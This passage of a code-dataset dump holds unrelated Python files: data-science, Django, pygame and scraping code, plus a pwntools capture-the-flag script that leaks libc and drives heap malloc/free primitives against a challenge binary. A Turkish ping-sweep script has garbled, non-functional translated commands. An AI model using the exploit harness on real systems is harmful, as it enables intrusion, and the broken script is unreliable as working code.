scheduler.remove_job(id)\n","sub_path":"modules/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"247928879","text":"#coding:utf-8\n\nfrom pwn import *\nfrom LibcSearcher import *\n\np = process('./slot_machine')\n\nif args['REMOTE']:\n p = remote('arcade.fluxfingers.net',1815)\nelf = ELF(\"slot_machine\")\nlibc = ELF(\"./libc.so.6\")\n\nru = lambda x : p.recvuntil(x)\nsl = lambda x : p.sendline(x)\nsd = lambda x : p.send(x)\n\nru(\"Here is system : \")\nsyst = ru(\"\\n\").replace(\"\\n\",\"\")\nsuccess(\"system addr == > \"+syst)\n\nbase = int(syst,16) - libc.symbols['system']\nsuccess(\"base == > \" +hex(base))\n\n#obj = LibcSearcher('system',int(syst,16))\n#obj.dump('gets')\n\ndef debug(msg=''):\n gdb.attach(p,msg)\n raw_input()\n\ndef malloc(sz):\n ru(\"[ 4 ] : bye!\")\n sl(\"1\")\n ru(\"How much?\")\n sl(str(sz))\n \n\ndef free(offset):\n ru(\"[ 4 ] : bye!\")\n sl(\"2\")\n ru(\"where?\")\n sl(str(offset))\n\ndef write(cont):\n ru(\"[ 4 ] : bye!\")\n sl(\"3\")\n ru(\"what?\")\n sl(cont)\n\ndef exploit():\n malloc(0x60)\n malloc(0x60)\n #\n free(-0x70)\n malloc(0x60)\n write(\"1234\")\n #free(0)\n #write(\"1234\")\n #free(-0x70)\n \n \n debug(\"b *0x5555555553C5\\nb *0x55555555540E\\nb *0x555555555394\\nb *0x5555555553EE\")\n\n p.interactive()\n \nif __name__ == \"__main__\":\n exploit()","sub_path":"pwn_exec/slot_machin/slot_machine.py","file_name":"slot_machine.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"511669563","text":"\"\"\"\nRun migrations\n\nBy default runs all migrations in order. If arguments are provided then\nonly migration files that match the arguments are run.\n\nFor example:\n\npython run_migrations.py 001_add_week_start.py\n\nWould only run the first migration.\n\"\"\"\nimport imp\nimport os\nimport sys\nfrom os.path import join\nimport logging\nfrom backdrop.core.database import Database\n\nlogging.basicConfig(level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\nROOT_PATH = os.path.abspath(os.path.dirname(__file__))\n\n\ndef load_config(env):\n config_path = os.path.join(ROOT_PATH, 'backdrop', 'write', 'config')\n fp = None\n try:\n sys.path.append(config_path)\n fp, pathname, description = imp.find_module(\n \"backdrop/write/config/%s\" % env)\n return imp.load_module(env, fp, pathname, description)\n finally:\n sys.path.pop()\n if fp:\n fp.close()\n\n\ndef get_database(config):\n return Database(\n config.MONGO_HOSTS, config.MONGO_PORT, config.DATABASE_NAME)\n\n\ndef get_migrations(migration_files):\n migrations_path = join(ROOT_PATH, 'migrations')\n for migration_file in os.listdir(migrations_path):\n if not migration_file.endswith('.py'):\n continue\n if migration_files is None or migration_file in migration_files:\n migration_path = join(migrations_path, migration_file)\n\n yield imp.load_source('migration', migration_path)\n\n\nif __name__ == '__main__':\n\n config = load_config(os.getenv('GOVUK_ENV', 'development'))\n database = get_database(config)\n\n migration_files = sys.argv[1:] or None\n\n for migration in get_migrations(migration_files):\n log.info(\"Running migration %s\" % migration)\n migration.up(database)\n","sub_path":"run_migrations.py","file_name":"run_migrations.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"298405751","text":"import pandas as pd\nimport arff\nimport copy\nfrom config import ALL_FILES\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.model_selection import cross_val_score\nimport numpy as np\n\nnp.random.seed(42)\n#It is highly recommended to parallel this script by running it on different files at the same time\nFILES = ALL_FILES\n\nfor file in FILES:\n f = open(file[:-5]+'.txt','w')\n data = arff.load(open('./Datasets/'+file, 'r'))\n \n #This ugly block is here because in some datasets downloaded from OpenML the target column is not the last one.\n #It forces to write a lot of exceptions like these to move the target column to the last place in order to\n #process all the files in the same way with target column in behind.\n if file in ['prnn_crabs.arff','profb.arff','sleuth_ex2015.arff','sleuth_ex2016.arff','analcatdata_asbestos.arff',\n 'Australian.arff','dataset_106_molecular-biology_promoters.arff','dataset_114_shuttle-landing-control.arff',\n 'kdd_internet_usage.arff','molecular-biology_promoters.arff','monks-problems-1.arff','monks-problems-2.arff',\n 'monks-problems-3.arff','oil_spill.arff','SPECT.arff']:\n data['attributes'].append(data['attributes'][0])\n del data['attributes'][0]\n data['data'] = np.hstack((np.array(data['data'])[:, 1:], np.array(data['data'])[:, 0].reshape(-1, 1))).tolist()\n if file == 'analcatdata_whale.arff':\n data['data'] = data['data'][:-5]\n if file in ['analcatdata_japansolvent.arff','lungcancer_GSE31210.arff','lupus.arff',]:\n data['attributes'].append(data['attributes'][1])\n del data['attributes'][1]\n data['data'] = np.hstack((np.array(data['data'])[:, [0] + list(range(2, len(data['data'][0])))],\n np.array(data['data'])[:, 1].reshape(-1, 1))).tolist()\n if file == 'dataset_25_colic.ORIG.arff':\n data['attributes'].append(data['attributes'][23])\n del data['attributes'][23]\n data['data'] = np.hstack((np.array(data['data'])[:, list(range(23)) + list(range(24, len(data['data'][0])))],\n np.array(data['data'])[:, 23].reshape(-1, 1))).tolist()\n if file == 'irish.arff':\n data['attributes'].append(data['attributes'][3])\n del data['attributes'][3]\n data['data'] = np.hstack((np.array(data['data'])[:, list(range(3)) + list(range(4, len(data['data'][0])))],\n np.array(data['data'])[:, 3].reshape(-1, 1))).tolist()\n if file == 'wholesale-customers.arff':\n data['attributes'].append(data['attributes'][7])\n del data['attributes'][7]\n data['data'] = np.hstack((np.array(data['data'])[:, list(range(7)) + list(range(8, len(data['data'][0])))],\n np.array(data['data'])[:, 7].reshape(-1, 1))).tolist()\n \n #Here we understand which features are categorical and which are numerical\n categorical_cols = []\n numeric_cols = []\n for i in range(len(data['attributes'])):\n if type(data['attributes'][i][1]) != str and i != len(data['attributes'])-1: \n categorical_cols.append(i)\n elif i != len(data['attributes'])-1:\n numeric_cols.append(i)\n \n #Here we make one hot encoding of categorical features and normalize numerical features\n data = pd.DataFrame(data=data['data'],index=None)\n for categorical_col in categorical_cols:\n col = copy.deepcopy(data[categorical_col])\n del data[categorical_col]\n data = pd.concat([pd.get_dummies(col),data],axis=1)\n for numeric_col in numeric_cols:\n data[numeric_col] = pd.to_numeric(data[numeric_col])\n if data[numeric_col].max() - data[numeric_col].min() != 0:\n data[numeric_col] = (data[numeric_col] - data[numeric_col].min()) / (data[numeric_col].max() - data[numeric_col].min())\n else:\n data[numeric_col] = 0.\n data = data.sample(frac=1) #shuffle rows\n data = data.reset_index(drop=True)\n X = data.iloc[:, :-1].fillna(0)\n y = data.iloc[:,-1]\n clf = SVC()\n f.write('0, '+str(cross_val_score(clf,X,y,cv=10,scoring='accuracy',n_jobs=10).mean())+'\\n')\n clf = LinearSVC()\n f.write('1, '+str(cross_val_score(clf,X,y,cv=10,scoring='accuracy',n_jobs=10).mean())+'\\n')\n f.close()\n","sub_path":"SVMlinearRBF.py","file_name":"SVMlinearRBF.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"377842992","text":"#! /usr/bin/env python\n\nfrom collections import defaultdict\nimport logging\nimport os\nimport shutil\nimport tempfile\n\nfrom celery import shared_task\nimport docker\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom cnc_grader import models\n\n\nlogger = logging.getLogger()\n\n\n@receiver(post_save, sender=models.Submission)\ndef submit_execute(signal, sender, instance, created, **kwargs):\n if created:\n logging.info(\"Submitting test run for instance id %d\", instance.id)\n execute_submission.delay(instance.id)\n\n\n@shared_task()\ndef execute_submission(submission_id):\n submission = models.Submission.objects.get(id=submission_id)\n inputs_dir = tempfile.mkdtemp()\n outputs_dir = tempfile.mkdtemp()\n submission_dir = tempfile.mkdtemp()\n c = docker.Client()\n result = 1\n logger.info(\"Grading submission %d for team %s\",\n submission_id, submission.team.user.username)\n try:\n for testcase in submission.problem.testcase_set.all():\n infile = os.path.join(inputs_dir, '%d' % testcase.id)\n outfile = os.path.join(outputs_dir, '%d' % testcase.id)\n with open(infile, 'w') as f:\n f.write(testcase.input)\n\n with open(outfile, 'w') as f:\n f.write(testcase.output)\n\n submission_file = os.path.join(submission_dir,\n os.path.basename(submission.file.name))\n with open(submission_file, 'w') as f:\n f.write(submission.file.read())\n\n container_id = c.create_container(\n 'crashandcompile',\n command=('/test_executor.py'\n ' --inputsdir /inputs'\n ' --outputsdir /outputs'\n ' --submission ' +\n os.path.join('/submission',\n os.path.basename(submission.file.name))),\n volumes=['/inputs/', '/outputs', '/submission'],\n network_disabled=True)\n logger.debug(\"Created container %s to execute submission %d\",\n container_id, submission_id)\n stdout = c.logs(container_id, stdout=True, stderr=True, stream=True)\n c.start(container_id,\n binds={inputs_dir: '/inputs',\n outputs_dir: '/outputs',\n submission_dir: '/submission'})\n # TODO: needs timeout\n result = c.wait(container_id)\n passed = (result == 0)\n notes = ''\n if not passed:\n logger.info('\\n'.join(list(stdout)))\n\n if result == 1:\n notes = \"Compiled failed\"\n elif result == 2:\n notes = \"Test case failed\"\n elif result == 3:\n notes = \"Bad extension\"\n\n\n finally:\n shutil.rmtree(inputs_dir)\n shutil.rmtree(outputs_dir)\n shutil.rmtree(submission_dir)\n submission.graded = True\n submission.passed = passed\n submission.note = notes\n submission.save()\n\n if submission.passed:\n # this is rather naive and easily abused...\n calculate_team_scores.delay()\n\n\n@shared_task()\ndef calculate_team_scores():\n max_winners = 3\n submissions = models.Submission.objects.order_by('submission_time').all()\n teams = models.Team.objects.all()\n\n correct_for_problem = defaultdict(int)\n score_for_team = defaultdict(int)\n # problem -> team -> bool\n points_awarded_for_problem = defaultdict(lambda: defaultdict(bool))\n\n for submission in submissions:\n if not submission.passed:\n continue\n\n if points_awarded_for_problem[submission.problem][submission.team]:\n continue\n\n if correct_for_problem[submission.problem] >= max_winners:\n continue\n\n award_points = max_winners - correct_for_problem[submission.problem]\n logger.info(\"Awarding team %s %d points for problem %s\",\n submission.team, award_points, submission.problem)\n score_for_team[submission.team] += award_points\n correct_for_problem[submission.problem] += 1\n points_awarded_for_problem[submission.problem][submission.team] = True\n\n for team in teams:\n team.score = score_for_team[team]\n team.save()\n","sub_path":"cnc_grader/docker_worker/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"204565382","text":"from hexical import layout, algorithms, tile\n\nimport random\nimport pygame\n\ndef initpygame():\n \"\"\"Initialises the pygame environment and returns a gameDisplay and\n display_info object.\n\n \"\"\"\n pygame.init()\n pygame.font.init()\n gameDisplay = pygame.display.set_mode((0,0), pygame.FULLSCREEN)\n display_info = pygame.display.Info()\n pygame.display.set_caption('Graphical Hex Test')\n\n return (gameDisplay, display_info)\n\ndef main():\n\n gameDisplay, display_info = initpygame()\n WIDTH = display_info.current_w\n HEIGHT = display_info.current_h\n\n lay = layout.Layout((50,50), (WIDTH/2, HEIGHT/2), random.choice(['p','f']))\n starthex = tile.Hex(0,0,0)\n\n quitting = False\n while not quitting:\n\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n quitting = True\n\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_ESCAPE:\n quitting = True\n\n gameDisplay.fill((0,0,0))\n h = tile.point_to_hex(pygame.mouse.get_pos(), lay, rounding = True)\n mousehex = tile.Hex(int(h.a), int(h.b), int(h.c))\n\n for h in algorithms.hexline(starthex, mousehex):\n corners = h.corners(lay)\n pygame.draw.aalines(gameDisplay,\n (255,255,255),\n True,\n corners)\n\n pygame.display.update()\n\n\nif __name__ == '__main__':\n main()\n pygame.quit()\n quit()\n","sub_path":"graphicaltests/linegenerator.py","file_name":"linegenerator.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"91764811","text":"\"\"\"Utility and helper functions for MNE-BIDS.\"\"\"\nimport os\nimport errno\nfrom collections import OrderedDict\nimport json\nimport shutil as sh\nfrom mne.externals.six import string_types\nfrom .config import BIDS_VERSION\nfrom os.path import splitext\n\n\ndef _mkdir_p(path, overwrite=False, verbose=False):\n \"\"\"Create a directory, making parent directories as needed.\n\n From stackoverflow.com/questions/600268/mkdir-p-functionality-in-python\n \"\"\"\n # why would you want to do this?!\n # If another run exists in the same folder then it will be overidden!\n if overwrite is True and os.path.isdir(path):\n sh.rmtree(path)\n if verbose is True:\n print('Overwriting path: %s' % path)\n\n try:\n os.makedirs(path, exist_ok=True)\n if verbose is True:\n print('Creating folder: %s' % path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\n\ndef make_bids_filename(subject=None, session=None, task=None,\n acquisition=None, run=None, processing=None,\n recording=None, space=None, suffix=None, prefix=None):\n \"\"\"Create a BIDS filename from its component parts.\n\n BIDS filename prefixes have one or more pieces of metadata in them. They\n must follow a particular order, which is followed by this function. This\n will generate the *prefix* for a BIDS file name that can be used with many\n subsequent files, or you may also give a suffix that will then complete\n the file name.\n\n Note that all parameters are not applicable to each kind of data. For\n example, electrode location TSV files do not need a task field.\n\n Parameters\n ----------\n subject : str | None\n The subject ID. Corresponds to \"sub\".\n session : str | None\n The session for a item. Corresponds to \"ses\".\n task : str | None\n The task for a item. Corresponds to \"task\".\n acquisition: str | None\n The acquisition parameters for the item. Corresponds to \"acq\".\n run : int | None\n The run number for this item. Corresponds to \"run\".\n processing : str | None\n The processing label for this item. Corresponds to \"proc\".\n recording : str | None\n The recording name for this item. Corresponds to \"recording\".\n space : str | None\n The coordinate space for an anatomical file. Corresponds to \"space\".\n suffix : str | None\n The suffix of a file that begins with this prefix. E.g., 'audio.wav'.\n prefix : str | None\n The prefix for the filename to be created. E.g., a path to the folder\n in which you wish to create a file with this name.\n\n Returns\n -------\n filename : str\n The BIDS filename you wish to create.\n\n Examples\n --------\n >>> print(make_bids_filename(subject='test', session='two', task='mytask', suffix='data.csv')) # noqa\n sub-test_ses-two_task-mytask_data.csv\n \"\"\"\n order = OrderedDict([('sub', subject),\n ('ses', session),\n ('task', task),\n ('acq', acquisition),\n ('run', run),\n ('proc', processing),\n ('space', space),\n ('recording', recording)])\n if order['run'] is not None and not isinstance(order['run'], string_types):\n # Ensure that run is a string\n order['run'] = '{:02}'.format(order['run'])\n\n _check_types(order.values())\n\n if not any(isinstance(ii, string_types) for ii in order.keys()):\n raise ValueError(\"At least one parameter must be given.\")\n\n filename = []\n for key, val in order.items():\n if val is not None:\n _check_key_val(key, val)\n filename.append('%s-%s' % (key, val))\n\n if isinstance(suffix, string_types):\n filename.append(suffix)\n\n filename = '_'.join(filename)\n if isinstance(prefix, string_types):\n filename = os.path.join(prefix, filename)\n return filename\n\n\ndef make_bids_folders(subject, session=None, kind=None, root=None,\n make_dir=True, overwrite=False, verbose=False):\n \"\"\"Create a BIDS folder hierarchy.\n\n This creates a hierarchy of folders *within* a BIDS dataset. You should\n plan to create these folders *inside* the root folder of the dataset.\n\n Parameters\n ----------\n subject : str\n The subject ID. Corresponds to \"sub\".\n kind : str\n The kind of folder being created at the end of the hierarchy. E.g.,\n \"anat\", \"func\", etc.\n session : str | None\n The session for a item. Corresponds to \"ses\".\n root : str | None\n The root for the folders to be created. If None, folders will be\n created in the current working directory.\n make_dir : bool\n Whether to actually create the folders specified. If False, only a\n path will be generated but no folders will be created.\n overwrite : bool\n If `make_dir` is True and one or all folders already exist,\n this will overwrite them with empty folders.\n verbose : bool\n If verbose is True, print status updates\n as folders are created.\n\n Returns\n -------\n path : str\n The (relative) path to the folder that was created.\n\n Examples\n --------\n >>> print(make_bids_folders('sub_01', session='my_session',\n kind='meg', root='path/to/project', make_dir=False)) # noqa\n path/to/project/sub-sub_01/ses-my_session/meg\n \"\"\"\n _check_types((subject, kind, session, root))\n if session is not None:\n _check_key_val('ses', session)\n\n path = ['sub-%s' % subject]\n if isinstance(session, string_types):\n path.append('ses-%s' % session)\n if isinstance(kind, string_types):\n path.append(kind)\n path = os.path.join(*path)\n if isinstance(root, string_types):\n path = os.path.join(root, path)\n\n if make_dir is True:\n _mkdir_p(path, overwrite=overwrite, verbose=verbose)\n return path\n\n\ndef make_dataset_description(path, name=None, data_license=None,\n authors=None, acknowledgements=None,\n how_to_acknowledge=None, funding=None,\n references_and_links=None, doi=None,\n verbose=False):\n \"\"\"Create json for a dataset description.\n\n BIDS datasets may have one or more fields, this function allows you to\n specify which you wish to include in the description. See the BIDS\n documentation for information about what each field means.\n\n Parameters\n ----------\n path : str\n A path to a folder where the description will be created.\n name : str | None\n The name of this BIDS dataset.\n data_license : str | None\n The license under which this datset is published.\n authors : str | None\n Authors who contributed to this dataset.\n acknowledgements : str | None\n Acknowledgements for this dataset.\n how_to_acknowledge : str | None\n Instructions for how acknowledgements/credit should be given for this\n dataset.\n funding : str | None\n Funding sources for this dataset.\n references_and_links : str | None\n References or links for this dataset.\n doi : str | None\n The DOI for the dataset.\n \"\"\"\n fname = os.path.join(path, 'dataset_description.json')\n description = OrderedDict([('Name', name),\n ('BIDSVersion', BIDS_VERSION),\n ('License', data_license),\n ('Authors', authors),\n ('Acknowledgements', acknowledgements),\n ('HowToAcknowledge', how_to_acknowledge),\n ('Funding', funding),\n ('ReferencesAndLinks', references_and_links),\n ('DatasetDOI', doi)])\n pop_keys = [key for key, val in description.items() if val is None]\n for key in pop_keys:\n description.pop(key)\n _write_json(description, fname, verbose=verbose)\n\n\ndef make_readme(path, text=\"\"):\n \"\"\"\n Writes the free-form readme files\n Parameters:\n ----------\n path : str\n A path to a folder where the readme will be created.\n text : str\n The entire contents ofthe readme file to be written to path.\n \"\"\"\n fname = os.path.join(path, 'README.txt')\n with open(fname, 'w') as f:\n f.write(text)\n\n\ndef _check_types(variables):\n \"\"\"Make sure all variables are strings or None.\"\"\"\n types = set(type(ii) for ii in variables)\n for itype in types:\n if not isinstance(itype, type(str)) and itype is not None:\n raise ValueError(\"All values must be either None or strings. \"\n \"Found type %s.\" % itype)\n\n\ndef _write_json(dictionary, fname, verbose=False):\n \"\"\"Write JSON to a file.\"\"\"\n json_output = json.dumps(dictionary, indent=4)\n with open(fname, 'w') as fid:\n fid.write(json_output)\n fid.write('\\n')\n\n if verbose is True:\n print(os.linesep + \"Writing '%s'...\" % fname + os.linesep)\n print(json_output)\n\n\ndef _check_key_val(key, val):\n \"\"\"Perform checks on a value to make sure it adheres to the spec.\"\"\"\n if any(ii in val for ii in ['-', '_', '/']):\n raise ValueError(\"Unallowed `-`, `_`, or `/` found in key/value pair\"\n \" %s: %s\" % (key, val))\n return key, val\n\ndef _get_ext(fname):\n \"\"\" Get the extension for the file specified by fname \"\"\"\n name, ext = splitext(fname)\n if ext == '':\n # in this case fname is simply the extension (possibly without the period, so fix this if needed)\n if name[0] == '.':\n return name\n else:\n return '.{0}'.format(name)\n else:\n return ext","sub_path":"mne_bids/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"116427028","text":"# coding:iso-8859-9 Türkçe\r\n# p_20404a.py: İnternet ip adresleriyle iletişim kontrolü örneği.\r\n\r\nimport os, re # threading/ipsiz kontrol...\r\n\r\nalınanPaketler = re.compile (r\"(\\d) alındı\")\r\ndurum = (\"cevapsız\", \"canlı fakat kayıp\", \"canlı\")\r\n\r\nfor sonek in range (20,30):\r\n ip = \"192.168.178.\" + str (sonek)\r\n kontrol = os.popen (\"çınlattı -q -c2 \" + ip, \"r\")\r\n print (\"...çınlatıyor \", ip)\r\n while True:\r\n satır = kontrol.readsatır()\r\n if not satır: break\r\n alınan = alınanPaketler.findall (satır)\r\n if alınan: print (ip + \": \" + durum[int (alınan[0])])\r\n\r\n\r\n#İnternet açık olmalı ve ilgili ip adresleri kontrol edilmeli...","sub_path":"Bernd Klein (520) ile Python/p_20404a.py","file_name":"p_20404a.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"444717655","text":"import pytest\nfrom numpy import linspace, exp, allclose, meshgrid\nfrom scipy.ndimage.interpolation import shift\nfrom SimpleITK import ImageRegistrationMethod, TranslationTransform\nfrom registration import SimpleITK_Registration\n\npytestmark = pytest.mark.usefixtures(\"eng\")\n\ndef test_fit(eng):\n x, y = meshgrid(linspace(-4,4,100), linspace(-4,4,100))\n reference = exp(-x**2 + -y**2)\n r = ImageRegistrationMethod()\n r.SetMetricAsCorrelation()\n r.SetOptimizerAsRegularStepGradientDescent(learningRate=0.1,\n minStep=1e-5,\n numberOfIterations=10000,\n gradientMagnitudeTolerance=1e-8)\n r.SetInitialTransform(TranslationTransform(len(reference.shape)), inPlace=False)\n algorithm = SimpleITK_Registration(r)\n deltas = [[1.5, -10], [-1.5, 10]]\n shifted = [shift(reference, delta) for delta in deltas]\n model = algorithm.fit(shifted, reference=reference)\n # flip the dimensions of model.toarray() before comparing to deltas because SimpleITK uses xy ordering.\n model_deltas = map(lambda v: v[::-1], model.toarray())\n assert allclose(model_deltas, deltas)","sub_path":"test/test_sitk_registration.py","file_name":"test_sitk_registration.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"501103794","text":"#!/usr/bin/env python\n\n# Author: Venkata chandrasekhar Nainala \n# Version: 0.1.0\n# Email: mailcs76@gmail.com / venkata@ebi.ac.uk\n# Date: 19 May 2016\n\n\"\"\" \n Dependencies:\n Python 2.7\n\"\"\"\nimport sys\nimport argparse\nimport utils\nimport logging\nimport os\nimport time\nimport datetime\nimport json\nfrom random import randint\n\ndestinationDirectory = \"\"\nworkingDirectory = \"\"\nmlSCMappingFile = \"\"\nreactomeJSONFile = \"\"\n\nreactomeData = {}\nmlMapping = {}\nrequestedCompound = \"\"\n\ndef main(arguments):\n parser = argparse.ArgumentParser(description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"workingdirectory\", help=\"- Working directory location\")\n parser.add_argument(\"destinationdirectory\", help=\"- Destination Directory\")\n parser.add_argument(\"compound\", help=\"- MetaboLights Compound Identifier\", default=\"all\")\n args = parser.parse_args(arguments)\n global workingDirectory\n global destinationDirectory\n global requestedCompound\n workingDirectory = args.workingdirectory\n destinationDirectory = args.destinationdirectory\n requestedCompound = args.compound.replace('\"','')\n\n # Check if the folder structure exist and create if it doesn't\n if not os.path.exists(workingDirectory):\n os.makedirs(workingDirectory)\n\n # log file configuration\n ts = time.time()\n st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H-%M-%S')\n randomInt = str(randint(1, 1000))\n logDirectory = workingDirectory+\"/logs/\" + st \n if not os.path.exists(logDirectory):\n os.makedirs(logDirectory)\n logging.basicConfig(filename= logDirectory + \"/log_\" +randomInt +\".log\",level=logging.DEBUG)\n utils.init(logging)\n logging.info(\"-----------------------------------------------\")\n logging.info('# Run started -' + utils.getDateAndTime())\n\n logging.info('Generating MetaboLights Study - Compound Mapping file')\n\n global mlSCMappingFile\n mlSCMappingFile = workingDirectory + \"/mapping.json\"\n\n global reactomeJSONFile\n reactomeJSONFile = workingDirectory + \"/reactome.json\"\n\n with open(reactomeJSONFile) as reactome_file:\n global reactomeData\n reactomeData = json.load(reactome_file)\n \n with open(mlSCMappingFile) as mapping_file: \n global mlMapping\n mlMapping = json.load(mapping_file)\n\n if (requestedCompound != \"all\") :\n requestCompoundsList = requestedCompound.split(\",\")\n for compound in requestCompoundsList:\n utils.fetchCompound(compound.strip(), workingDirectory, destinationDirectory, reactomeData, mlMapping)\n else:\n MLCompoundsList = utils.fetchMetaboLightsCompoundsList()\n for compound in MLCompoundsList:\n utils.fetchCompound(compound, workingDirectory, destinationDirectory, reactomeData, mlMapping)\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv[1:]))","sub_path":"MetCompoundBot/MLCompoundsBot.py","file_name":"MLCompoundsBot.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"204156255","text":"from selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, timedelta\n\nfrom flask import Flask, render_template, jsonify, request\napp = Flask(__name__)\n\nfrom pymongo import MongoClient # pymongo를 임포트 하기(패키지 인스톨 먼저 해야겠죠?)\nclient = MongoClient('mongodb://test:test@localhost', 27017) # mongoDB는 27017 포트로 돌아갑니다. ec2까지\ndb = client.dbsparta # 'dbsparta'라는 이름의 db를 만듭니다.\n\nimport requests\n\nfrom pytz import timezone\nfrom datetime import datetime\n\n\ndef maxnum(a,b):\n if(a>b):\n return a\n else:\n return b\n\ndef todayATRcalc(yesterdayATR,todayTR):\n return(yesterdayATR*16 + todayTR*2)/18\n\ndef todayunitcalc(investment,todayATR):\n return(investment*0.01)/todayATR\n\n\n### option 적용 ###\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"--no-sandbox\")\noptions.add_argument(\"--remote-debugging-port=9222\")\noptions.headless = True\n###################\n\n# HTML을 주는 부분\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/view',methods=['GET'])\ndef viewdata():\n datas = list(db.helloinvestment.find({},{'_id':0}))\n #현재가격을 가지고있는 리스트를 보내주자 어차피 순번은 같다.\n #datas의 name에 있는 코드를 가져와서 현재가격만 크롤링 하여 리스트에 저장후 해당 리스트를 클라이언트에 반환\n #최상단 종가가 현재가격 (계속 변동됨 주식시장 개장때는)\n nowprices = []\n\n driver = webdriver.Chrome(options=options)\n for i in range(0,len(datas)):\n url = datas[i]['url']\n driver.get(url)\n time.sleep(0.3)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n current_price = soup.select_one('#header > div.end_header_topinfo > div.flick-container.major_info_wrp > div > div:nth-child(2) > div > div.stock_wrp > div.price_wrp > strong').text\n #print(current_price)\n nowprices.append(current_price.replace(\",\",\"\"))\n \n driver.quit()\n return jsonify({'result': 'success','datas':datas,'nowprices':nowprices})\n\n@app.route('/search', methods=['POST'])\ndef unitcalc():\n\n driver = webdriver.Chrome(options=options)\n ##################\n \t# 1. 클라이언트로부터 종목코드,투자금 받기\n\t\t# 2. url페이지 크롤링후 1유닛 계산\n\t\t# 3. 클라이언트에게 1유닛 반환\n namecode_receive = request.form['namecode_give']\n investment_receive =int(request.form['investment_give'])\n\n url = 'https://m.stock.naver.com/item/main.nhn#/stocks/' + namecode_receive + '/price'\n # 네이버 주식페이지 url을 입력합니다.\n\n # 크롬을 통해 네이버 주식페이지에 접속합니다.\n driver.get(url)\n\n # 정보를 받아오기까지 2초를 잠시 기다립니다.\n time.sleep(0.3)\n\n # 크롬에서 HTML 정보를 가져오고 BeautifulSoup을 통해 검색하기 쉽도록 가공합니다.\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n\n # 종목이름 가져오기\n findcodename = soup.select_one('meta[property=\"og:title\"]')['content']\n findcodename = findcodename.split()[0]\n #삼성전자 - 네이버 증권/005930 공백기준으로 문자열 분리후 index : 0 값이 종목이름값\n\n\n #20일치만 가능하니 ATR 기준을 18로 놓고 한다.\n #20일치 ATR은 20일 동안의 TR의 평균값이다 따라서 제일 최근날짜를 제외한 18일 평균으로 계산한다.\n #20일치의 날짜 종가 고가 저가를 뽑아왔다.\n\n date_list =[]\n ncv_list = []\n hv_list = []\n lv_list = []\n trA_list = []\n trB_list = []\n trC_list = []\n #제일 큰 tr값이 들어감\n tr_list = [] \n # trA = todayhv-yesterdayncv \n # trB = yesterdayncv - todaylv \n # trC = todayhv - todaylv\n # today = i 가정시 \n # trA = hv_list[i] - ncv_list[i-1]\n # trB = ncv_list[i-1] - lv_list[i]\n # trC = hv_list[i] - lv_list[i]\n for i in range(0,19):\n finddata = soup.find(\"tr\",{\"data-index\":i}).text.split()\n date_list.append(finddata[0])\n ncv_list.append(int(finddata[1].replace(\",\",\"\")))\n hv_list.append(int(finddata[5].replace(\",\",\"\")))\n lv_list.append(int(finddata[6].replace(\",\",\"\")))\n date_list.reverse()\n ncv_list.reverse()\n hv_list.reverse()\n lv_list.reverse()\n #TR 계산식\n for i in range(1,19):\n trA_list.append(hv_list[i] - ncv_list[i-1])\n trB_list.append(hv_list[i-1] - ncv_list[i])\n trC_list.append(hv_list[i] - ncv_list[i])\n #콤마를 최대 2개는 지워줘야한다 1,000,000 백만단위 이상 주식이 한국엔 없기때문\n for i in range(0,18):\n tr = maxnum(trA_list[i],trB_list[i])\n tr_list.append(maxnum(tr,trC_list[i]))\n #전날 ATR\n ATRSum = 0\n for i in range(0,16):\n ATRSum = ATRSum + tr_list[i]\n yesterdayATR = ATRSum/16\n #당일 ATR\n todayATR = todayATRcalc(yesterdayATR,tr_list[17])\n \n unit = todayunitcalc(investment_receive,todayATR)\n unitshare = round(unit)\n unitwon = unitshare*ncv_list[18]\n \n #print(unitshare,unitwon)\n \n driver.quit()\n\n resultcodename = findcodename +\"/\"+ namecode_receive\n resultunit = str(unitwon) + \"/\" + str(unitshare)\n \n fmt = \"%Y-%m-%d %H:%M:%S\"\n KST = datetime.now(timezone('Asia/Seoul'))\n\n doc = {\n 'date' : KST.strftime(fmt),\n 'name' : resultcodename,\n 'investment' : investment_receive,\n 'unit' : resultunit,\n 'searchprice' : ncv_list[18],\n 'url' : url\n }\n\n 